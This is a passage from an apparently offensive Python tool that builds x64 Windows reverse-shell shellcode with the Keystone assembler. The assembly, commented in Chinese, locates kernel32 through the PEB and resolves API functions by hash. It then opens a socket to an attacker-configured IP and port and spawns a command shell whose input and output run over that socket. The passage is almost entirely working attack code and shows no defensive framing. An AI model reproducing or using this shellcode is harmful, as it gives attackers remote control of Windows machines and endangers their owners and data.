" mov rsi,[rax+0x18];"        # 获取PEB中LDR成员的值,即_PEB_LDR_DATA结构的地址
" mov rsi,[rsi + 0x30];"        # RSI是_PEB_LDR_DATA结构中InInitializationOrderModuleList成员的地址
" mov r9, [rsi];"        # 当前模块是python.exe
" mov r9, [r9];"        # 当前模块为ntdll.dll
" mov r9, [r9+0x10];"        # 当前模块为kernel32.dll
" jmp jump_section;"

"parse_module:"        # 解析内存中的DLL文件
" mov ecx, dword ptr [r9 + 0x3c];"        # R9存储模块的基址,获取NT头偏移量
" xor r15, r15;"
" mov r15b, 0x88;"      # 偏移到导出目录
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"        # 获取导出目录的RVA
" add r15, r9;"        # R14存储导出目录的VMA
" mov ecx, dword ptr [r15 + 0x18];"        # ECX将函数名的数量存储为索引值
" mov r14d, dword ptr [r15 + 0x20];"        # 获取ENPT的RVA
" add r14, r9;"        # R14存储ENPT的VMA

"search_function:"        # 搜索给定函数
" jrcxz not_found;"        # 如果RCX为0,则找不到给定的函数
" dec ecx;"        # 指数减少1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"        # 函数名字符串的RVA
" add rsi, r9;"        # RSI指向函数名称字符串

"function_hashing:"        # 哈希函数名称函数
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"        # 清除DF标志

"iteration:"        # 遍历每个字节
" lodsb;"        # 将RSI的下一个字节复制到Al
" test al, al;"        # 如果到达字符串的末尾
" jz compare_hash;"        # 比较哈希值
" ror edx, 0x0d;"        # 希算法的一部分
" add edx, eax;"        # 希算法的一部分
" jmp iteration;"        # 下一个字节

"compare_hash:"        # 比较哈希值
" cmp edx, r8d;"
" jnz search_function;"        # 如果不相等,则搜索上一个函数(索引减小)
" mov r10d, [r15 + 0x24];"        # RVA顺序表
" add r10, r9;"        # MA顺序表
" movzx ecx, word ptr [r10 + 2*rcx];"        # 序号值-1
" mov r11d, [r15 + 0x1c];"        # EAT的RVA
" add r11, r9;"        # VMA 的 EAT
" mov eax, [r11 + 4*rcx];"        # RAX存储函数的RVA
" add rax, r9;"        # RAX存储函数的VMA
" ret;"
"not_found:"
" ret;"

"jump_section:"        # 实现PIC并最小化0x00字节
" mov rbp, r9;"        # RBP存储Kernel32.dll的基址
" mov r8d, 0xec0e4e8e;"        # LoadLibraryA哈希
" call parse_module;"        # 搜索LoadLibraryA的地址
" mov r12, rax;"        # R12存储LoadLibraryA函数的地址

"load_module:"
" xor rax, rax;"
" mov ax, 0x6c6c;"        # 将字符串“ll”保存到RAX
" push rax;"        # 将字符串推到堆栈上
" mov rax, 0x642E32335F325357;"        # 将字符串“WS2_32.D”保存到RAX
" push rax;"        # 将字符串推到堆栈上
" mov rcx, rsp;"        # RCX指向“WS2_32.dll”字符串
" sub rsp, 0x20;"        # 函数开始
" mov rax, r12;"        # RAX存储LoadLibraryA函数的地址
" call rax;"        # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;"        # 函数结尾
" mov r14, rax;"        # R14存储ws2_32.dll的基址

"call_wsastartup:"
" mov r9, rax;"        # R9存储ws2_32.dll的基址
" mov r8d, 0x3bfcedcb;"        # WSA启动哈希
" mov rbx, r9;"        # 将ws2_32.dll的基址保存到RBX以供以后使用
" call parse_module;"        # 搜索并获取WSAStartup的地址
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"        # 为lpWSDATA结构预留足够的空间
" lea rdx, [rsp];"        # 将lpWSAData的地址作为第二个参数分配给RDX寄存器
" mov cx, 0x202;"        # 将0x202分配给wVersionRequired,并将其作为第一个参数存储在RCX中
" sub rsp, 0x30;"        # 函数开始
" call rax;"        # 调用 WSAStartup
" add rsp, 0x30;"        # 函数结尾
"call_wsasocket:"
" mov r9, rbx;"
" mov r8d, 0xadf509d9;"        # WSASocketA函数的哈希
" call parse_module;"        # 获取WSASocketA函数的地址
" sub rsp, 0x30;"        # 函数开始
" xor rcx, rcx;"
" mov cl, 2;"        # AF为2作为第一个参数
" xor rdx, rdx;"
" mov dl, 1;"        # 类型为1作为第二个参数
" xor r8, r8;"
" mov r8b, 6;"        # 协议为6作为第三个参数
" xor r9, r9;"        # lpProtocolInfo作为第四个参数为0
" mov [rsp+0x20], r9;"        # g作为第五个参数为0,存储在堆栈上
" mov [rsp+0x28], r9;"        # dwFlags作为第6个参数为0,存储在堆栈
" call rax;"        # 调用 WSASocketA 函数
" mov r12, rax;"        # 将返回的套接字类型返回值保存在R12中,以防止RAX中的数据丢失
" add rsp, 0x30;"        # 函数 结束

"call_wsaconnect:"
" mov r9, rbx;"
" mov r8d, 0xb32dba0c;"        # WSAConnect的哈希值
" call parse_module;"        # 获取WSAConnect的地址
" sub rsp, 0x20;"        # 为socketadr结构分配足够的空间
" mov rcx, r12;"        # 将WSASocketA返回的套接字描述符作为第一个参数传递给RCX
" xor rdx, rdx;"
" mov dl, 2;"        # 设置 sin_family 为 AF_INET (=2)
" mov [rsp], rdx;"        # 存储socketadr结构
" xor rdx, rdx;"
f"{port_argument}"      # 动态设置本地端口
" mov [rsp+2], rdx;"        # 将端口值传递到socketadr结构中的相应位置
f"{ip_argument}"
" mov [rsp+4], rdx;"        # 将IP传递到socketadr结构中的相应位置
# " xor r8, r8;"                        
# " mov [rsp+8], r8;"        # 将sin_zero设置为零。注释这两行以节省更多字节,但不会阻止shellcode工作
" lea rdx, [rsp];"        # 指向socketadr结构的指针作为第二个参数
" xor r8, r8;"
" mov r8b, 0x16;"        # 将namelen成员设置为0x16
" xor r9, r9;"        # lpCallerData作为第四个参数为0
" sub rsp, 0x38;"        # 函数(function) 开始
" mov [rsp+0x20], r9;"        # lpCalleeData作为第五个参数为0
" mov [rsp+0x28], r9;"        # lpSQOS作为第6个参数为0
" mov [rsp+0x30], r9;"        # lpGQOS作为第7个参数为0
" call rax;"        # 调用 WSAConnect
" add rsp, 0x38;"        # Function 结束

"call_createprocess:"
" mov r9, rbp;"        # R9存储Kernel32.dll的基址
" mov r8d, 0x16b3fe72;"        # CreateProcessA的哈希值
" call parse_module;"        # 获取CreateProcessA的地址
f"{shell_type}"
" push rdx;"   
" mov rdx, rsp;"        # 指向“cmd.exe”的指针存储在RCX寄存器中
" push r12;"        # 成员STDERROR是WSASocketA的返回值
" push r12;"        # 成员STDOUTPUT是WSASocketA的返回值
" push r12;"        # 成员STDINPUT是WSASocketA的返回值
" xor rcx, rcx;"
" push cx;"        # 在按下dwFlags成员之前用0x00填充,只有总大小才重要
" push rcx;"
" push rcx;"
" mov cl, 0xff;"
" inc cx;"        # 0xff+1=0x100
" push cx;"        # dwFlags=0x100
" xor rcx, rcx;"
" push cx;"        # 在推动cb构件之前,垫上0,只有总尺寸才重要
" push cx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" mov cl, 0x68;"
" push rcx;"        # cb=0x68
" mov rdi, rsp;"        # 指向STARTINFO结构的指针
" mov rcx, rsp;"
" sub rcx, 0x20;"        # 为ProcessInformation结构保留足够的空间
" push rcx;"        # ProcessInformation结构的地址作为第10个参数
" push rdi;"        # STARTINFO结构的地址作为第9个参数
" xor rcx, rcx;"
" push rcx;"        # lpCurrentDirectory的第8个参数值为0
" push rcx;"        # lpEnvironment=0作为第7个参数
" push rcx;"        # dwCreationFlags=0作为第6个参数
" inc rcx;"
" push rcx;"        # 作为第5个参数,bInheritHandles的值为1
" dec cl;"
" push rcx;"        # 为函数返回区域预留空间(第四个参数)
" push rcx;"        # 为函数返回区域预留空间(第三个参数)
" push rcx;"        # 为函数返回区域预留空间(第二个参数)
" push rcx;"        # 为函数返回区域预留空间(第一个参数)
" mov r8, rcx;"        # lpProcessAttributes值为0作为第三个参数
" mov r9, rcx;"        # lpThreatAttributes值为0作为第四个参数
" call rax;"        # 调用 CreateProcessA
)

        ks = Ks(KS_ARCH_X86, KS_MODE_64)
        encoding, count = ks.asm(CODE)
        output_shellcode(lan,encoding,var,save)